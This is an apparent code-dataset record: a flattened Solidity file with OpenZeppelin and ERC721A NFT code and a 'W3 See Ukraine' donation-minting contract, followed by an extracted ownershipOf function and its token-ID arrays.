event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), ".json")) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/W3SeeUkraine.sol
// Author: nonera.lt || https://github.com/zekronium
// ERC721A Creators: https://www.erc721a.org/
pragma solidity ^0.8.12;
contract W3SeeUkraine is Ownable, ERC721A, ReentrancyGuard {
uint256 public collectionSize = 500;
uint256 public price = 0.05 ether;
bool public saleIsActive;
constructor() ERC721A("W3 See Ukraine", "W3SeeUA") {
saleIsActive = false;
_baseTokenURI = "ipfs://QmW2qVnuZwqg7Y7Q6skxLSbFwgaHrcCsrSgRJzQpKvgKuZ/";
}
modifier isSaleActive() {
require(saleIsActive, "Sale not started");
_;
}
function setCollectionSize(uint256 newCollectionSize) external onlyOwner {
require(newCollectionSize > collectionSize, "Can't reduce the collection");
collectionSize = newCollectionSize;
}
function setNFTPrice(uint256 newNFTPrice) external onlyOwner {
price = newNFTPrice;
}
function donate(uint256 quantity) external payable isSaleActive {
require(totalSupply() + quantity <= collectionSize, "Sold Out");
require(msg.value >= price * quantity, "Invalid amount of ETH");
_safeMint(msg.sender, quantity);
}
//metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function flipSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
address public constant donationReceiver1 = 0xa1b1bbB8070Df2450810b8eB2425D543cfCeF79b;
address public constant donationReceiver2 = 0x97849c43DB2AD63905aCcAD01Cbd6794833A95b5;
address public constant donationReceiver3 = 0x5353c7cCDDD1C8EB4341f0EE60927E73f89F4C9c;
//All funds go to donationReceiver without the option to change the recipient
function transferDonations() external onlyOwner nonReentrant {
uint256 balance = address(this).balance;
(bool t1, ) = address(donationReceiver1).call{value: balance / 3}("");
(bool t2, ) = address(donationReceiver2).call{value: balance / 3}("");
(bool t3, ) = address(donationReceiver3).call{value: balance / 3}("");
require(t1 && t2 && t3, "Transfer failed.");
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
//Use fallback function to be able to receive funds from marketplace royalties to NGO's
receive() external payable {
}
} | * Gas spent here starts off proportional to the maximum mint batch size. It gradually moves to O(1) as tokens get transferred around in the collection over time./ Invariant: There will always be an ownership that has an address and is not burned before an ownership that does not have an address and is not burned. Hence, curr will not underflow. | function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
| 1,629,879 | [
1,
27998,
26515,
2674,
2542,
3397,
23279,
287,
358,
326,
4207,
312,
474,
2581,
963,
18,
2597,
3087,
2544,
1230,
13934,
358,
531,
12,
21,
13,
487,
2430,
336,
906,
4193,
6740,
316,
326,
1849,
1879,
813,
18,
19,
657,
8688,
30,
6149,
903,
3712,
506,
392,
23178,
716,
711,
392,
1758,
471,
353,
486,
18305,
329,
1865,
392,
23178,
716,
1552,
486,
1240,
392,
1758,
471,
353,
486,
18305,
329,
18,
670,
802,
16,
4306,
903,
486,
3613,
2426,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
23178,
951,
12,
11890,
5034,
1147,
548,
13,
2713,
1476,
1135,
261,
1345,
5460,
12565,
3778,
13,
288,
203,
3639,
2254,
5034,
4306,
273,
1147,
548,
31,
203,
203,
565,
22893,
288,
203,
3639,
309,
261,
67,
1937,
1345,
548,
1435,
1648,
4306,
597,
4306,
411,
389,
2972,
1016,
13,
288,
203,
5411,
3155,
5460,
12565,
3778,
23178,
